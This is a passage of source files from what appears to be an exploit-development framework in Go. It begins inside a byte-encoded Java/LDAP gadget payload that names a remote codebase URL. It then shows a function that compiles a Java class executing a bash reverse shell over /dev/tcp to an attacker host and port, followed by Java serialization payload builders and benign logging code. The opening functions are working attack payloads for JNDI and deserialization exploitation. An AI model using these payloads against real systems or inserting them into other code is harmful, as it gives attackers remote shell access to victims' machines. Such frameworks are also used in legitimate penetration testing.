"\x00\x25\x4c\x79\x73\x6f\x73\x65\x72\x69\x61\x6c\x2f\x70\x61\x79" + "\x6c\x6f\x61\x64\x73\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64\x67\x65" + "\x74\x73\x24\x46\x6f\x6f\x3b\x01\x00\x0a\x53\x6f\x75\x72\x63\x65" + "\x46\x69\x6c\x65\x01\x00\x0c\x47\x61\x64\x67\x65\x74\x73\x2e\x6a" + "\x61\x76\x61\x0c\x00\x0a\x00\x0b\x07\x00\x1a\x01\x00\x23\x79\x73" + "\x6f\x73\x65\x72\x69\x61\x6c\x2f\x70\x61\x79\x6c\x6f\x61\x64\x73" + "\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64\x67\x65\x74\x73\x24\x46\x6f" + "\x6f\x01\x00\x10\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62" + "\x6a\x65\x63\x74\x01\x00\x14\x6a\x61\x76\x61\x2f\x69\x6f\x2f\x53" + "\x65\x72\x69\x61\x6c\x69\x7a\x61\x62\x6c\x65\x01\x00\x1f\x79\x73" + "\x6f\x73\x65\x72\x69\x61\x6c\x2f\x70\x61\x79\x6c\x6f\x61\x64\x73" + "\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64\x67\x65\x74\x73\x00\x21\x00" + "\x02\x00\x03\x00\x01\x00\x04\x00\x01\x00\x1a\x00\x05\x00\x06\x00" + "\x01\x00\x07\x00\x00\x00\x02\x00\x08\x00\x01\x00\x01\x00\x0a\x00" + "\x0b\x00\x01\x00\x0c\x00\x00\x00\x2f\x00\x01\x00\x01\x00\x00\x00" + "\x05\x2a\xb7\x00\x01\xb1\x00\x00\x00\x02\x00\x0d\x00\x00\x00\x06" + "\x00\x01\x00\x00\x00\x3c\x00\x0e\x00\x00\x00\x0c\x00\x01\x00\x00" + "\x00\x05\x00\x0f\x00\x12\x00\x00\x00\x02\x00\x13\x00\x00\x00\x02" + "\x00\x14\x00\x11\x00\x00\x00\x0a\x00\x01\x00\x02\x00\x16\x00\x10" + "\x00\x09\x70\x74\x00\x04\x50\x77\x6e\x72\x70\x77\x01\x00\x78\x71" + "\x00\x7e\x00\x0d\x78\x30\x2b\x04\x0c\x6a\x61\x76\x61\x43\x6f\x64" + "\x65\x42\x61\x73\x65\x31\x1b\x04\x19\x68\x74\x74\x70\x3a\x2f\x2f" + "\x31\x30\x2e\x31\x32\x2e\x37\x30\x2e\x32\x35\x32\x3a\x38\x31\x38" + "\x30\x2f\x30\x16\x04\x0d\x6a\x61\x76\x61\x43\x6c\x61\x73\x73\x4e" + "\x61\x6d\x65\x31\x05\x04\x03\x66\x6f\x6f" return complete } // this is *exactly* https://github.com/zzwlpx/JNDIExploit/blob/master/src/main/java/com/feihong/ldap/template/ReverseShellTemplate.java func createHTTPReverseShell(lhost string, lport int, classname string) string { command := "/bin/bash -i >& /dev/tcp/" + lhost + "/" + strconv.Itoa(lport) + " 0>&1" classLength := make([]byte, 2) binary.BigEndian.PutUint16(classLength, uint16(len(classname))) commandLength := make([]byte, 2) binary.BigEndian.PutUint16(commandLength, uint16(len(command))) //nolint:dupword // Duplicate words () found complete := "\xca\xfe\xba\xbe\x00\x00\x00\x32\x00\x48\x01" + string(classLength) + classname + "\x07\x00" + "\x01\x01\x00\x40\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f" + "\x61\x70\x61\x63\x68\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74" + "\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f\x72\x75\x6e\x74" + "\x69\x6d\x65\x2f\x41\x62\x73\x74\x72\x61\x63\x74\x54\x72\x61\x6e" + "\x73\x6c\x65\x74\x07\x00\x03\x01\x00\x02\x69\x70\x01\x00\x12\x4c" + "\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67" + "\x3b\x01\x00\x04\x70\x6f\x72\x74\x01\x00\x01\x49\x01\x00\x06\x3c" + "\x69\x6e\x69\x74\x3e\x01\x00\x03\x28\x29\x56\x01\x00\x13\x6a\x61" + "\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65\x70\x74\x69\x6f" + "\x6e\x07\x00\x0b\x0c\x00\x09\x00\x0a\x0a\x00\x04\x00\x0d\x01\x00" + "\x0c\x6a\x61\x76\x61\x2f\x69\x6f\x2f\x46\x69\x6c\x65\x07\x00\x0f" + "\x01\x00\x09\x73\x65\x70\x61\x72\x61\x74\x6f\x72\x0c\x00\x11\x00" + "\x06\x09\x00\x10\x00\x12\x01\x00\x01\x2f\x08\x00\x14\x01\x00\x10" + "\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67" + "\x07\x00\x16\x01\x00\x06\x65\x71\x75\x61\x6c\x73\x01\x00\x15\x28" + "\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63" + "\x74\x3b\x29\x5a\x0c\x00\x18\x00\x19\x0a\x00\x17\x00\x1a\x01\x00" + "\x09\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x08\x00\x1c\x01\x00\x02" + "\x2d\x63\x08\x00\x1e\x01" + string(commandLength) + command + "\x08\x00\x20\x01\x00\x11\x6a\x61\x76\x61" + "\x2f\x6c\x61\x6e\x67\x2f\x52\x75\x6e\x74\x69\x6d\x65\x07\x00\x22" + "\x01\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69\x6d\x65\x01\x00\x15" + "\x28\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x52\x75\x6e" + "\x74\x69\x6d\x65\x3b\x0c\x00\x24\x00\x25\x0a\x00\x23\x00\x26\x01" + "\x00\x04\x65\x78\x65\x63\x01\x00\x28\x28\x5b\x4c\x6a\x61\x76\x61" + "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x29\x4c\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50\x72\x6f\x63\x65\x73\x73" + "\x3b\x0c\x00\x28\x00\x29\x0a\x00\x23\x00\x2a\x01\x00\x13\x5b\x4c" + "\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67" + "\x3b\x07\x00\x2c\x01\x00\x0f\x70\x72\x69\x6e\x74\x53\x74\x61\x63" + "\x6b\x54\x72\x61\x63\x65\x0c\x00\x2e\x00\x0a\x0a\x00\x0c\x00\x2f" + "\x01\x00\x01\x65\x01\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" + "\x67\x2f\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3b\x01\x00\x07\x63" + "\x6f\x6d\x6d\x61\x6e\x64\x01\x00\x04\x74\x68\x69\x73\x01\x00\x0e" + "\x4c\x52\x65\x76\x65\x72\x73\x65\x53\x68\x65\x6c\x6c\x3b\x01\x00" + "\x09\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x01\x00\x72\x28\x4c\x63" + "\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68" + "\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c" + "\x2f\x78\x73\x6c\x74\x63\x2f\x44\x4f\x4d\x3b\x5b\x4c\x63\x6f\x6d" + "\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f" + "\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x73\x65\x72" + "\x69\x61\x6c\x69\x7a\x65\x72\x2f\x53\x65\x72\x69\x61\x6c\x69\x7a" + "\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x29\x56\x01" + "\x00\x39\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70" + "\x61\x63\x68\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74\x65\x72" + "\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f\x54\x72\x61\x6e\x73\x6c" + "\x65\x74\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x07\x00\x38\x01\x00" + "\x08\x64\x6f\x63\x75\x6d\x65\x6e\x74\x01\x00\x2d\x4c\x63\x6f\x6d" + "\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f" + "\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x78" + "\x73\x6c\x74\x63\x2f\x44\x4f\x4d\x3b\x01\x00\x08\x68\x61\x6e\x64" + "\x6c\x65\x72\x73\x01\x00\x42\x5b\x4c\x63\x6f\x6d\x2f\x73\x75\x6e" + "\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f" + "\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x73\x65\x72\x69\x61\x6c\x69" + "\x7a\x65\x72\x2f\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f" + "\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x01\x00\xa6\x28\x4c\x63\x6f" + "\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65" + "\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f" + "\x78\x73\x6c\x74\x63\x2f\x44\x4f\x4d\x3b\x4c\x63\x6f\x6d\x2f\x73" + "\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x6d" + "\x6c\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x64\x74\x6d\x2f\x44" + "\x54\x4d\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6f\x72\x3b\x4c" + "\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63" + "\x68\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f" + "\x73\x65\x72\x69\x61\x6c\x69\x7a\x65\x72\x2f\x53\x65\x72\x69\x61" + "\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b" + "\x29\x56\x01\x00\x08\x69\x74\x65\x72\x61\x74\x6f\x72\x01\x00\x35" + "\x4c\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61" + "\x63\x68\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c" + "\x2f\x64\x74\x6d\x2f\x44\x54\x4d\x41\x78\x69\x73\x49\x74\x65\x72" + "\x61\x74\x6f\x72\x3b\x01\x00\x07\x68\x61\x6e\x64\x6c\x65\x72\x01" + "\x00\x41\x4c\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61" + "\x70\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e" + "\x61\x6c\x2f\x73\x65\x72\x69\x61\x6c\x69\x7a\x65\x72\x2f\x53\x65" + "\x72\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c" + "\x65\x72\x3b\x01\x00\x04\x43\x6f\x64\x65\x01\x00\x0d\x53\x74\x61" + "\x63\x6b\x4d\x61\x70\x54\x61\x62\x6c\x65\x01\x00\x0f\x4c\x69\x6e" + "\x65\x4e\x75\x6d\x62\x65\x72\x54\x61\x62\x6c\x65\x01\x00\x12\x4c" + "\x6f\x63\x61\x6c\x56\x61\x72\x69\x61\x62\x6c\x65\x54\x61\x62\x6c" + "\x65\x01\x00\x0a\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x00\x21" + "\x00\x02\x00\x04\x00\x00\x00\x02\x00\x02\x00\x05\x00\x06\x00\x00" + "\x00\x02\x00\x07\x00\x08\x00\x00\x00\x03\x00\x01\x00\x09\x00\x0a" + "\x00\x01\x00\x43\x00\x00\x00\xb1\x00\x04\x00\x03\x00\x00\x00\x34" + "\x2a\xb7\x00\x0e\xb2\x00\x13\x12\x15\xb6\x00\x1b\x99\x00\x27\x06" + "\xbd\x00\x17\x59\x03\x12\x1d\x53\x59\x04\x12\x1f\x53\x59\x05\x12" + "\x21\x53\x4c\xb8\x00\x27\x2b\xb6\x00\x2b\x57\xa7\x00\x08\x4d\x2c" + "\xb6\x00\x30\xb1\x00\x01\x00\x23" + "\x00\x2b\x00\x2e\x00\x0c\x00\x03\x00\x44\x00\x00\x00\x15\x00\x02" + "\xff\x00\x2e\x00\x02\x07\x00\x02\x07\x00\x2d\x00\x01\x07\x00\x0c" + "\xfa\x00\x04\x00\x45\x00\x00\x00\x22\x00\x08\x00\x00\x00\x0c\x00" + "\x04\x00\x0d\x00\x0f\x00\x0e\x00\x23\x00\x10\x00\x2b\x00\x13\x00" + "\x2e\x00\x11\x00\x2f\x00\x12\x00\x33\x00\x16\x00\x46\x00\x00\x00" + "\x20\x00\x03\x00\x2f\x00\x04\x00\x31\x00\x32\x00\x02\x00\x23\x00" + "\x10\x00\x33\x00\x2c\x00\x01\x00\x00\x00\x34\x00\x34\x00\x35\x00" + "\x00\x00\x01\x00\x36\x00\x37\x00\x02\x00\x43\x00\x00\x00\x3f\x00" + "\x00\x00\x03\x00\x00\x00\x01\xb1\x00\x00\x00\x02\x00\x45\x00\x00" + "\x00\x06\x00\x01\x00\x00\x00\x1b\x00\x46\x00\x00\x00\x20\x00\x03" + "\x00\x00\x00\x01\x00\x34\x00\x35\x00\x00\x00\x00\x00\x01\x00\x3a" + "\x00\x3b\x00\x01\x00\x00\x00\x01\x00\x3c\x00\x3d\x00\x02\x00\x47" + "\x00\x00\x00\x04\x00\x01\x00\x39\x00\x01\x00\x36\x00\x3e\x00\x02" + "\x00\x43\x00\x00\x00\x49\x00\x00\x00\x04\x00\x00\x00\x01\xb1\x00" + "\x00\x00\x02\x00\x45\x00\x00\x00\x06\x00\x01\x00\x00\x00\x20\x00" + "\x46\x00\x00\x00\x2a\x00\x04\x00\x00\x00\x01\x00\x34\x00\x35\x00" + "\x00\x00\x00\x00\x01\x00\x3a\x00\x3b\x00\x01\x00\x00\x00\x01\x00" + "\x3f\x00\x40\x00\x02\x00\x00\x00\x01\x00\x41\x00\x42\x00\x03\x00" + "\x47\x00\x00\x00\x04\x00\x01\x00\x39\x00\x00" return complete } ================================================ FILE: java/objects.go ================================================ /* This is where the logic is defined to construct sound "records" for the Java serialization protocol as defined here: https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html All fields MUST implement the Field interface. All Content types MUST implement the TCContent interface. */ package java import ( "strings" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/transform" ) type Field interface { ToFieldBin() ([]byte, bool) } // Any java serialization record that can may be contained within a TCContent struct must implement this interface. type TCContent interface { ToBytes() ([]byte, bool) } type TCObject struct { InfoContent TCContent TCContents []TCContent } type TCArray struct { InfoContent TCContent TCContents []TCContent } type ArrayBytes struct { Data []byte } type TCProxyClassDesc struct { InfoContent TCContent TCContents []TCContent Interfaces []string SuperClassDesc TCClassDesc } type TCInteger struct { Value int } type TCFloat struct { Value float32 } type TCBlockData struct { Value string OmitEnd bool } type TCNull struct{} type TCEndBlockData struct{} type TCString struct { Value string } type TCReference struct { Handler []byte } type TCClass struct { InfoContent TCContent } type TCClassDesc struct { Name string SerialVersionUID []byte // Should be 8 bytes Flags byte Fields []Field SuperClassDesc TCContent } type ObjectField struct { Name string Value any } type ArrayField struct { Name string Value string } type IntegerField struct { Name string } type FloatField struct { Name string } func (tcObject TCObject) ToBytes() ([]byte, bool) { binary := []byte{TCObjectCode} infoContentString, ok := tcObject.InfoContent.ToBytes() if !ok { return []byte{}, false } binary = append(binary, infoContentString...) for _, tcContent := range tcObject.TCContents { contentString, ok := tcContent.ToBytes() if !ok { return []byte{}, false } binary = append(binary, contentString...) } return binary, true } func (tcClass TCClass) ToBytes() ([]byte, bool) { binary := []byte{TCClassCode} infoContentString, ok := tcClass.InfoContent.ToBytes() if !ok { return []byte{}, false } binary = append(binary, infoContentString...) return binary, true } func (tcArray TCArray) ToBytes() ([]byte, bool) { usingArrayBytes := false var arrayBytes ArrayBytes // placeholder binary := []byte{TCArrayCode} infoContentString, ok := tcArray.InfoContent.ToBytes() if !ok { return []byte{}, false } binary = append(binary, infoContentString...) for _, tcContent := range tcArray.TCContents { switch tcContent := tcContent.(type) { case ArrayBytes: usingArrayBytes = true arrayBytes = tcContent default: // do nothing } } if usingArrayBytes && len(tcArray.TCContents) > 1 { output.PrintFrameworkError("TCArray.TCContents cannot contain more than one item if one item is of type: ArrayBytes") return []byte{}, false } if usingArrayBytes { binary = append(binary, []byte(transform.PackBigInt32(len(arrayBytes.Data)))...) } else { binary = append(binary, []byte(transform.PackBigInt32(len(tcArray.TCContents)))...) } for _, tcContent := range tcArray.TCContents { contentString, ok := tcContent.ToBytes() if !ok { return []byte{}, false } binary = append(binary, contentString...) } return binary, true } func (tcClassDesc TCClassDesc) getFieldsBin() ([]byte, bool) { binary := []byte(transform.PackBigInt16(len(tcClassDesc.Fields))) for _, field := range tcClassDesc.Fields { bin, ok := field.ToFieldBin() if !ok { output.PrintfFrameworkError("Failed to get bin for field %q", field) return []byte{}, false } binary = append(binary, bin...) } return binary, true } func (tcClassDesc TCClassDesc) ToBytes() ([]byte, bool) { fieldsBinString, ok := tcClassDesc.getFieldsBin() if !ok { return []byte{}, false } binary := []byte{TCClassDescCode} binary = append(binary, []byte(lenPrefixedString(tcClassDesc.Name))...) binary = append(binary, tcClassDesc.SerialVersionUID...) binary = append(binary, tcClassDesc.Flags) binary = append(binary, fieldsBinString...) // add support for other annotations as needed binary = append(binary, TCEndBlockDataCode) if tcClassDesc.SuperClassDesc == nil { binary = append(binary, TCNullCode) } else { superClassString, ok := tcClassDesc.SuperClassDesc.ToBytes() if !ok { return []byte{}, false } binary = append(binary, superClassString...) } return binary, true } func (tcBlockData TCBlockData) ToBytes() ([]byte, bool) { if len(tcBlockData.Value) > 0xff { output.PrintFrameworkError("tcBlockData value is too large, must use tcBlockDataLong instead (not yet implemented)") return []byte{}, false } binary := []byte{TCBlockDataCode, byte(len(tcBlockData.Value))} // code and value binary = append(binary, []byte(tcBlockData.Value)...) if tcBlockData.OmitEnd { return binary, true } return append(binary, TCEndBlockDataCode), true } func (tcNull TCNull) ToBytes() ([]byte, bool) { return []byte{TCNullCode}, true } func (arrayBytes ArrayBytes) ToBytes() ([]byte, bool) { return arrayBytes.Data, true } func (tcEndBlockData TCEndBlockData) ToBytes() ([]byte, bool) { return []byte{TCEndBlockDataCode}, true } func (tcFloat TCFloat) ToBytes() ([]byte, bool) { return []byte(transform.PackBigFloat32(tcFloat.Value)), true } func (tcInteger TCInteger) ToBytes() ([]byte, bool) { return []byte(transform.PackBigInt32(tcInteger.Value)), true } func (tcString TCString) ToBytes() ([]byte, bool) { return append([]byte{TCStringCode}, lenPrefixedString(tcString.Value)...), true } func (tcReference TCReference) ToBytes() ([]byte, bool) { if tcReference.Handler == nil { output.PrintFrameworkError("TCReference Handler member is empty!") return []byte{}, false } return append([]byte{TCReferenceCode}, tcReference.Handler...), true } func (tcProxyClassDesc TCProxyClassDesc) ToBytes() ([]byte, bool) { interfacesString := "" var interfacesStringSb251 strings.Builder for _, interfaceItem := range tcProxyClassDesc.Interfaces { interfacesStringSb251.WriteString(lenPrefixedString(interfaceItem)) } interfacesString += interfacesStringSb251.String() superClassBytes, ok := tcProxyClassDesc.SuperClassDesc.ToBytes() if !ok { return []byte{}, false } binary := []byte{TCProxyClassDescCode} binary = append(binary, transform.PackBigInt32(len(tcProxyClassDesc.Interfaces))...) binary = append(binary, interfacesString...) binary = append(binary, TCEndBlockDataCode) binary = append(binary, superClassBytes...) return binary, true } func (arrayField ArrayField) ToFieldBin() ([]byte, bool) { binary := []byte{TypeArrayCode} binary = append(binary, lenPrefixedString(arrayField.Name)...) binary = append(binary, TCStringCode) binary = append(binary, lenPrefixedString(arrayField.Value)...) return binary, true } func (floatField FloatField) ToFieldBin() ([]byte, bool) { binary := []byte{TypeFloatCode} binary = append(binary, lenPrefixedString(floatField.Name)...) return binary, true } func (integerField IntegerField) ToFieldBin() ([]byte, bool) { binary := []byte{TypeIntegerCode} binary = append(binary, lenPrefixedString(integerField.Name)...) return binary, true } func (objectField ObjectField) ToFieldBin() ([]byte, bool) { binary := []byte{TypeObjectCode} switch v := objectField.Value.(type) { case string: binary = append(binary, lenPrefixedString(objectField.Name)...) binary = append(binary, TCStringCode) binary = append(binary, lenPrefixedString(v)...) return binary, true case TCReference: bytes, ok := v.ToBytes() if !ok { return []byte{}, false } binary = append(binary, lenPrefixedString(objectField.Name)...) binary = append(binary, bytes...) return binary, true default: output.PrintfFrameworkError("Invalid type provided to ObjectField.Value") return []byte{}, false } } func lenPrefixedString(input string) string { return transform.PackBigInt16(len(input)) + input } ================================================ FILE: output/commonlog.go ================================================ // Package output handles structured logging for the framework and exploits. // // Our goals for logging in go-exploit were something like this: // // - Structured logging for easy parsing (text and JSON). // - The option to log to the CLI or directly to a file. // - Program output to stdout, and errors to stderr // - Different log level controls for the framework and the exploits implementation. // // To achieve all of the above, we split the implementation into two logging APIs: // exploitlog.go and frameworklog.go. Exploit should use exploitlog.go API such as // output.PrintFrameworkSuccess(), output.PrintFrameworkError(), etc. Framework should use frameworklog.go // API such as output.PrintFrameworkSuccess(), output.PrintFrameworkError(), etc. package output import ( "fmt" "io" "log/slog" "os" "sync" ) // The exploit framework can use multiple threads so logging should acquire this lock. var logMutex sync.Mutex // The standard output logging descriptor (can be replaced by a file descriptor). var stdOutputDesc io.Writer = os.Stdout // The standard error logging descriptor (can be replaced by a file descriptor). var stdErrDesc io.Writer = os.Stderr // FormatJSON indicates if we should use TextHandler or NJSONHandler for logging. var FormatJSON = false // If logging to a file, function will create/append the file and assign the // file as output for all log types. func SetOutputFile(file string) bool { logFile, err := os.OpenFile(file, os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0o644) if err != nil { PrintError(err.Error()) return false } stdOutputDesc = logFile stdErrDesc = logFile return true } const ( // Extreme debugging that shows executions. LevelTrace = slog.Level(-8) // Useful tidbits for debugging potential problems. LevelDebug = slog.LevelDebug // A hihg-level status updat. LevelStatus = slog.LevelInfo // A non-critical issue that is bubbled up to the user. LevelWarning = slog.LevelWarn // A special message for outputing software versions. LevelVersion = slog.Level(5) // An important status message. LevelSuccess = slog.Level(6) // An important error message. LevelError = slog.LevelError ) // LogLevels is a mapping of the log names to slog level. var LogLevels = map[string]slog.Level{ "TRACE": LevelTrace, "DEBUG": LevelDebug, "STATUS": LevelStatus, "WARNING": LevelWarning, "VERSION": LevelVersion, "SUCCESS": LevelSuccess, "ERROR": LevelError, } func customLogLevels(_ []string, a slog.Attr) slog.Attr { if a.Key == slog.LevelKey { switch a.Value.Any().(slog.Level) { case LevelTrace: a.Value = slog.StringValue("TRACE") case LevelDebug: a.Value = slog.StringValue("DEBUG") case LevelStatus: a.Value = slog.StringValue("STATUS") case LevelWarning: a.Value = slog.StringValue("WARNING") case LevelVersion: a.Value = slog.StringValue("VERSION") case LevelSuccess: a.Value = slog.StringValue("SUCCESS") case LevelError: a.Value = slog.StringValue("ERROR") } } return a } // This is a bit icky. We wanted to be able to use slog but also send error messages // to stderr and program messages to stdout. This. func resetLogger(descriptor io.Writer, minLevel slog.Level) *slog.Logger { if FormatJSON { return slog.New(slog.NewJSONHandler(descriptor, &slog.HandlerOptions{ Level: minLevel, ReplaceAttr: customLogLevels, })) } return slog.New(slog.NewTextHandler(descriptor, &slog.HandlerOptions{ Level: minLevel, ReplaceAttr: customLogLevels, })) } // Displaying content on our fake shell. Need to hold the log mutex for // writing to stdout. In theory we could log here too if wanted? func PrintShell(msg string) { logMutex.Lock() defer logMutex.Unlock() fmt.Print(msg) os.Stdout.Sync() } ================================================ FILE: output/exploitlog.go ================================================ package output import ( "context" "fmt" "io" "log/slog" ) // the log level for exploits. var exploitLevel = LevelStatus // Sets the log level for exploit logging. Anything below the provided value will not get logged. func SetExploitLogLevel(level slog.Level) { exploitLevel = level } // reset logger to the appropriate level / output location and write the log. func doExploitLog(descriptor io.Writer, level slog.Level, msg string, keys ...any) { logMutex.Lock() defer logMutex.Unlock() if level >= exploitLevel { logger := resetLogger(descriptor, exploitLevel) ctx := context.Background() logger.Log(ctx, level, msg, keys...) } } // PrintfTrace formats according to a format specifier and logs as TRACE // If the exploit is not logging to file, this will go to standard error. func PrintfTrace(format string, msg ...interface{}) { PrintTrace(fmt.Sprintf(format, msg...)) } // PrintTrace logs a string as TRACE // If the exploit is not logging to file, this will go to standard error. func PrintTrace(msg string, keys ...any) { doExploitLog(stdErrDesc, LevelTrace, msg, keys...) } // PrintfDebug formats according to a format specifier and logs as DEBUG // If the exploit is not logging to file, this will go to standard error. func PrintfDebug(format string, msg ...interface{}) { PrintDebug(fmt.Sprintf(format, msg...)) } // PrintDebug logs a string as TRACE // If the exploit is not logging to file, this will go to standard error. func PrintDebug(msg string, keys ...any) { doExploitLog(stdErrDesc, LevelDebug, msg, keys...) } // PrintfStatus formats according to a format specifier and logs as STATUS (aka INFO) // If the exploit is not logging to file, this will go to standard out. func PrintfStatus(format string, msg ...interface{}) { PrintStatus(fmt.Sprintf(format, msg...)) } // PrintStatus logs a string as STATUS (aka INFO) // If the exploit is not logging to file, this will go to standard out. func PrintStatus(msg string, keys ...any) { doExploitLog(stdOutputDesc, LevelStatus, msg, keys...) } // PrintfWarn formats according to a format specifier and logs as WARN // If the exploit is not logging to file, this will go to standard error. func PrintfWarn(format string, msg ...interface{}) { PrintWarn(fmt.Sprintf(format, msg...)) } // PrintWarn logs a string as WARN // If the exploit is not logging to file, this will go to standard error. func PrintWarn(msg string, keys ...any) { doExploitLog(stdErrDesc, LevelWarning, msg, keys...) } // PrintVersion logs a string as VERSION // If the exploit is not logging to file, this will go to standard output. func PrintVersion(msg string, host string, port int, version string) { // update the db with the extracted version doExploitLog(stdOutputDesc, LevelVersion, msg, "host", host, "port", port, "version", version) } // PrintfSuccess formats according to a format specifier and logs as SUCCESS // If the exploit is not logging to file, this will go to standard out. func PrintfSuccess(format string, msg ...interface{}) { PrintSuccess(fmt.Sprintf(format, msg...)) } // PrintStatus logs a string as SUCCESS // If the exploit is not logging to file, this will go to standard out. func PrintSuccess(msg string, keys ...any) { doExploitLog(stdOutputDesc, LevelSuccess, msg, keys...) } // PrintfError formats according to a format specifier and logs as ERROR // If the exploit is not logging to file, this will go to standard error. func PrintfError(format string, msg ...interface{}) { PrintError(fmt.Sprintf(format, msg...)) } // PrintError logs a string as ERROR // If the exploit is not logging to file, this will go to standard error. func PrintError(msg string, keys ...any) { doExploitLog(stdErrDesc, LevelError, msg, keys...) } ================================================ FILE: output/frameworklog.go ================================================ package output import ( "context" "fmt" "io" "log/slog" ) // The log level for the framework. var frameworkLevel = LevelStatus // Sets the log level for framework logging. Anything below the provided value will not get logged. func SetFrameworkLogLevel(level slog.Level) { frameworkLevel = level } // reset logger to the appropriate level / output location and write the log. func doFrameworkLog(descriptor io.Writer, level slog.Level, msg string, keys ...any) { logMutex.Lock() defer logMutex.Unlock() if level >= frameworkLevel { logger := resetLogger(descriptor, frameworkLevel) ctx := context.Background() logger.Log(ctx, level, msg, keys...) } } // PrintfFrameworkTrace formats according to a format specifier and logs as TRACE // If the framework is not logging to file, this will go to standard error. func PrintfFrameworkTrace(format string, msg ...interface{}) { PrintFrameworkTrace(fmt.Sprintf(format, msg...)) } // PrintFrameworkTrace logs a string as TRACE // If the framework is not logging to file, this will go to standard error. func PrintFrameworkTrace(msg string, keys ...any) { doFrameworkLog(stdErrDesc, LevelTrace, msg, keys...) } // PrintfFrameworkDebug formats according to a format specifier and logs as DEBUG // If the framework is not logging to file, this will go to standard error. func PrintfFrameworkDebug(format string, msg ...interface{}) { PrintFrameworkDebug(fmt.Sprintf(format, msg...)) } // PrintFrameworkDebug logs a string as TRACE // If the framework is not logging to file, this will go to standard error. func PrintFrameworkDebug(msg string, keys ...any) { doFrameworkLog(stdErrDesc, LevelDebug, msg, keys...) } // PrintfFrameworkStatus formats according to a format specifier and logs as STATUS (aka INFO) // If the framework is not logging to file, this will go to standard out. func PrintfFrameworkStatus(format string, msg ...interface{}) { PrintFrameworkStatus(fmt.Sprintf(format, msg...)) } // PrintFrameworkStatus logs a string as STATUS (aka INFO) // If the framework is not logging to file, this will go to standard out. func PrintFrameworkStatus(msg string, keys ...any) { doFrameworkLog(stdOutputDesc, LevelStatus, msg, keys...) } // PrintfFrameworkWarn formats according to a format specifier and logs as WARN // If the framework is not logging to file, this will go to standard error. func PrintfFrameworkWarn(format string, msg ...interface{}) { PrintFrameworkWarn(fmt.Sprintf(format, msg...)) } // PrintFrameworkWarn logs a string as WARN // If the framework is not logging to file, this will go to standard error. func PrintFrameworkWarn(msg string, keys ...any) { doFrameworkLog(stdErrDesc, LevelStatus, msg, keys...) } // PrintfFrameworkSuccess formats according to a format specifier and logs as SUCCESS // If the framework is not logging to file, this will go to standard out. func PrintfFrameworkSuccess(format string, msg ...interface{}) { PrintFrameworkSuccess(fmt.Sprintf(format, msg...)) } // PrintFrameworkSuccess logs a string as SUCCESS // If the framework is not logging to file, this will go to standard out. func 